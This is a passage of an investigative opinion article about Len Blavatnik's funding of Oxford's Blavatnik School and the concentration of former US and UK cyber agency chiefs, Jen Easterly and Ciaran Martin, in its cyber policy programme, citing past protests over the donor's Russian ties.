Ciaran Martin stepped down as CEO of NCSC on August 31, 2020, and joined the Blavatnik School as Professor of Practice on September 1. He is the founding director of OxCTP, the cyber policy program Easterly later joined, which he now co-directs with Dr Brianna Rosen. Simultaneously, Martin serves as Managing Director at Paladin Capital Group, a venture capital firm investing in early-stage cybersecurity companies, and sits on the Global Advisory Board of CyberCX, Australia and New Zealand’s largest cybersecurity services provider. The Blavatnik academic appointment provides the credibility platform; the private-sector positions provide the commercial channel. The knowledge and relationships cultivated during four years running NCSC (and longer still in GCHQ’s cyber leadership) now flow through both.

Jen Easterly left CISA on January 20, 2025, when the Trump administration took office. Her career before CISA included service in NSA’s Tailored Access Operations, the agency’s elite offensive hacking unit; helping establish U.S. Cyber Command in 2009-2010; serving as Deputy for Counterterrorism at NSA; and over two years as Special Assistant to President Obama and Senior Director for Counterterrorism on the National Security Council. Between government stints, she spent more than four years at Morgan Stanley as global head of their cybersecurity fusion center. She is a West Point graduate and Rhodes Scholar who earned her Oxford master’s degree at Pembroke College.

In July 2025, Easterly was appointed to the Robert F. McDermott Distinguished Chair at West Point’s Department of Social Sciences. Less than 24 hours after far-right activist Laura Loomer criticized the appointment, Secretary of the Army Daniel Driscoll rescinded the offer, posted a public announcement on X, and ordered a review of hiring practices.

Easterly responded to the rescission, describing herself as a “casualty of casually manufactured outrage” and a victim of cynicism that “corrodes our institutions”.

The full statement is available on LinkedIn, but I quote from it here:

The same official who rescinded Easterly’s West Point appointment has since become one of the most consequential figures in U.S. national security.

In November 2025, President Trump tapped Driscoll (a Yale Law classmate of Vice President JD Vance with no prior diplomatic experience) to lead American negotiations to end the Russian war in Ukraine. Driscoll flew to Kyiv, then Geneva for talks alongside Rubio, Special Envoy Steve Witkoff, and Jared Kushner, then to Abu Dhabi for secret talks with a Russian delegation. The Army secretary is now the United States’ primary point of contact with the Russian government on the most consequential foreign policy question of Trump’s second term, working off a 28-point peace plan originally drafted behind closed doors by Witkoff and Kremlin envoy Kirill Dmitriev.

His own position, however, is reportedly fragile. The Washington Post reported on April 7, 2026 that Driscoll has been engaged in a months-long conflict with Defense Secretary Pete Hegseth over personnel decisions, including Hegseth’s attempts to block the promotions of four Army officers (two women, two Black) to one-star generals, and Hegseth’s forced retirement of Army Chief of Staff General Randy George in early April ahead of schedule. Driscoll told the Post he has “no plans to depart or resign as the Secretary of the Army” and remains “laser focused” on Army readiness, but sources told the paper that tensions ran high enough last fall that Driscoll asked Vance to intervene on his behalf.

The same political dynamic that ended Easterly’s West Point appointment — outrage cultivated on partisan media, personnel decisions driven by loyalty rather than credentials — is now operating at the top of the Pentagon itself against the man who executed the Easterly rescission. The difference is that Driscoll has Vance; Easterly did not.

Easterly’s Blavatnik School fellowship was announced the following month. This political exclusion from a traditional government-military academic role left the Blavatnik School as her primary institutional home, illustrating how private philanthropic institutions can become the only viable platform for elite experts who fall out of political favor in their home countries.

The convergence is now complete. The person who ran America’s civilian cyber defense and the person who ran Britain’s national cyber security center are working in the same program, at the same school, funded by the same individual, contributing to the same research and teaching on cyber policy.

The Structural Concern

The question this arrangement raises is not about the individual integrity of Easterly or Martin. Both are widely respected professionals with distinguished records of public service. There is no evidence that either has been compromised or that their work at the Blavatnik School is anything other than legitimate academic engagement.

The concern is structural, and it operates at four levels.

First, there is the question of institutional dependence. When a single donor’s foundation holds contractual approval over the Dean of a school of government, and that school becomes the preferred destination for the most senior Western cyber officials, the donor’s interests become ambient. They need not be expressed through directives or conditions. They are embedded in the architecture. The scholars and fellows at the school know who funds it. The institution’s continued prestige depends on continued funding. The donor’s political and financial interests, documented in public filings, news reporting, and his own statements, form the background against which all programming decisions are made.

Second, there is the question of knowledge concentration. Easterly and Martin collectively possess the most comprehensive understanding of U.S. and UK cyber defense capabilities, vulnerabilities, and strategic doctrines held by any two people outside of current government service. Easterly worked in Tailored Access Operations, helped build Cyber Command, ran counterterrorism at NSA, and directed CISA. Martin built and ran NCSC for four years. The classified knowledge they carry does not expire when they leave government. Housing both of them under the same institutional roof, funded by a single individual with documented connections to sanctioned Russian entities, creates a concentration of strategic knowledge in a space that is neither government nor private sector, and is subject to neither classification controls nor corporate compliance regimes.

Third, the Atlantic Council report explains why Blavatnik’s alleged personal innocence may be beside the point. Åslund and Friedlander describe a mechanism that applies to wealthy Russian-born businessmen even when they hold Western passports and live outside Russia: the richer they get, the more leverage the Kremlin has over them. Their assets sit in two places: Russia, which Putin controls directly, and the West, where Western sanctions can freeze them. The Kremlin can squeeze either end.

The Mueller Report documented exactly this dynamic playing out with one of Blavatnik’s original business partners. Petr Aven, head of Alfa-Bank and a partner in the 1997 AAR consortium that Blavatnik co-founded, told Mueller’s team that he met with Putin roughly every three months. Aven said he treated anything Putin raised in those meetings as an order, and that refusing would have consequences. The specific threat Putin made to Aven in late 2016, according to Mueller, was that the United States might sanction Alfa-Bank, and that Aven needed to do something about it. In other words: Putin was using the threat of American sanctions to pressure a Russian oligarch into doing the Kremlin’s bidding.

None of this means Blavatnik operates under the same pressure Aven does, but people with whom Blavatnik built his fortune are on the record in sworn federal investigations as people who take orders from Putin because they simply cannot afford not to. Blavatnik maintained financial relationships with some of them until as recently as 2022. Åslund and Friedlander describe this kind of Kremlin pressure on wealthy Russians as “standard procedure.” The question is not whether Blavatnik himself takes orders from Moscow. It is whether the people around him do, and what that proximity means for the institution funding Easterly and Martin’s shared academic home.

Fourth, there is the question of the three-country bridge. The Blavatnik institutional network now spans the United States, the United Kingdom, and Israel. Easterly’s career and Blavatnik’s donations to Harvard, Yale, and Columbia anchor the American node. The Oxford school and Martin’s appointment anchor the British node. The ICRC at Tel Aviv University, jointly operated with the Israeli Prime Minister’s Office, anchors the Israeli node. These three countries are among the most important intelligence-sharing partners in the Western alliance.

The structural implications of these questions extend far beyond any individual appointment.

The Precedent

In August 2017, Bo Rothstein resigned his position as Professor of Government and Public Policy at the Blavatnik School in protest over Blavatnik’s $1 million contribution to Donald Trump’s inaugural committee. “I cannot give legitimacy and credibility to a person who is supporting Donald Trump,” he wrote in his resignation letter to Oxford’s Vice Chancellor Louise Richardson.

ProMarket, a publication of the George J. Stigler Center at the University of Chicago’s Booth School of Business interviewed him at the time, noting that “Rothstein is one of the most influential political scientists in the world today, having spent decades studying corruption and quality of government.”

Cherwell, Oxford’s student newspaper, obtained Rothstein’s letter on October 31, 2017, and published a story quoting it the following day:

Rothstein told Cherwell that he had been “excommunicated” from the school and barred from his office and students after the resignation. The Blavatnik school disputed his characterization, calling his allegations “false.” NPR and The Guardian covered the resignation extensively.

Rothstein returned to Sweden.

Two years earlier, in November 2015, a group of academics, Oxford alumni, and Russian dissidents including physicist and human rights activist Pavel Litvinov had published an open letter in The Guardian urging Oxford to “stop selling its reputation and prestige to Putin’s associates,” as reported by the Oxford Student and covered in detail by Cherwell.

The letter was organized by Ilya Zaslavskiy, a specialist in due diligence, sanctions, and kleptocracy who holds an MPhil in International Relations from the University of Oxford. Zaslavskiy held positions in TNK-BP's international affairs and gas business units between 2006 and 2010 — the Blavatnik-Vekselberg-Fridman oil venture central to this piece — before being arrested by the FSB in March 2008 in what the Washington Post reported at the time was widely viewed as part of an effort to force TNK-BP's foreign partners out of the venture. The FSB initially accused Zaslavskiy and his brother of state treason; the charge was later downgraded to industrial espionage, and then to “failed attempt of industrial espionage,” before a 2009 trial that Zaslavskiy described as a show trial, which ended with a conviction and a sentence of two years of probation. More than 100 Western managers were forced out of TNK-BP during the same period, and TNK-BP's British CEO Robert Dudley was forced to leave the country.

Zaslavskiy has since served as head of research at the Free Russia Foundation, as a fellow at Chatham House, and as senior program manager at the Center for International Private Enterprise. He heads Underminers.info, a research project exposing Eurasian kleptocrats in the West, and has written research papers for the Atlantic Council, Hudson Institute, Martens Centre, and other leading think tanks. His April 2021 paper “Which Kremligarchs Should Be Sanctioned by the Biden Administration?” introduced the term Kremligarchs to describe a litany of individuals who “should be added to the US Treasury sanctions’ lists due to their close involvement in the Kremlin’s infrastructure designed to harm the US and its allies.”

In May 2022, CNN reported that a group of fifty-five American and European foreign policy experts and anti-corruption activists had written a letter in September 2019 to the board of the Council on Foreign Relations to protest CFR’s acceptance of a $12 million donation, stating that Blavatnik “uses his ‘philanthropy’ at leading western academic and cultural institutions to advance his access to political circles,” calling such giving a vehicle for “the infiltration of the US and UK political and economic establishments at the highest levels.”

CNN further contextualized the situation:

These concerns predate the cyber dimension entirely. The question of whether Blavatnik’s money buys influence at Oxford has been debated since 2010. What has changed is the nature of the people now accepting his hospitality. When the school hosted political scientists and public policy scholars, the stakes were academic.

Now that it hosts the former heads of CISA and NCSC — people who possess the most sensitive knowledge about Western cyber defense — the stakes have become both a matter of national security and perceptions of the same.

What Comes Next

The Oxford Programme for Cyber and Technology Policy is expanding. Its inaugural Oxford Cyber Forum has already taken place in June 2024. Easterly has contributed to classes, seminars, and public events, including a panel at OxCTP’s Global Tech Policy Seminar Series alongside former Executive Vice President of the European Commission Margrethe Vestager. The program aims to “help governments navigate the cyber frontier and encourage the responsible adoption of emerging technologies.”

This is, on its face, valuable work. Democratic societies need thoughtful cyber policy. Academic institutions play an important role in developing it. The question is not whether this work should be done, but whether it should be done under the name and with the money of a single private individual whose financial biography includes partnerships with sanctioned Russian oligarchs, offshore entanglements with Russian government officials, and documented participation in coordinated influence campaigns.

There are other places where these leaders could have landed. Easterly is a West Point graduate who could have returned there, and nearly did. Martin could have joined any number of British universities or think tanks. Both chose, or accepted, the institution that offered the most prestige, the most resources, and the most ambitious cyber policy program, which happens to be the one funded by Len Blavatnik.

The individual decisions are rational, but the systemic outcome warrants scrutiny.

When a single billionaire with documented Russian oligarch ties funds the academic home of both the American and British cyber chiefs, the school that trains future government leaders, and a cyber research center jointly operated with the Israeli Prime Minister’s Office, the resulting structure is not a conspiracy. It is something more durable: an institution. Institutions do not need to conspire. They shape behavior through incentives, access, and prestige, and they outlast any individual appointment.

The question for policymakers, for the intelligence community, and for the public is whether this particular institution, with this particular funding source, in this particular configuration, is something Western democracies should be comfortable with, or whether the concentration of cyber leadership under a single private benefactor represents a structural vulnerability that no one has been willing to name at the intersection where it matters most: the pipeline of departing cyber chiefs into a single donor-funded institution.

Correction, April 9, 2026: An earlier version of this piece described Ilya Zaslavskiy as “a former Russian politician.” Zaslavskiy is in fact a specialist in due diligence, sanctions, and kleptocracy who held positions in TNK-BP's international affairs and gas business units between 2006 and 2010 and was prosecuted in 2008-9 in what the Washington Post reported at the time was widely viewed as part of an effort to force TNK-BP's foreign partners out of the venture. The reference has been updated. I regret the error.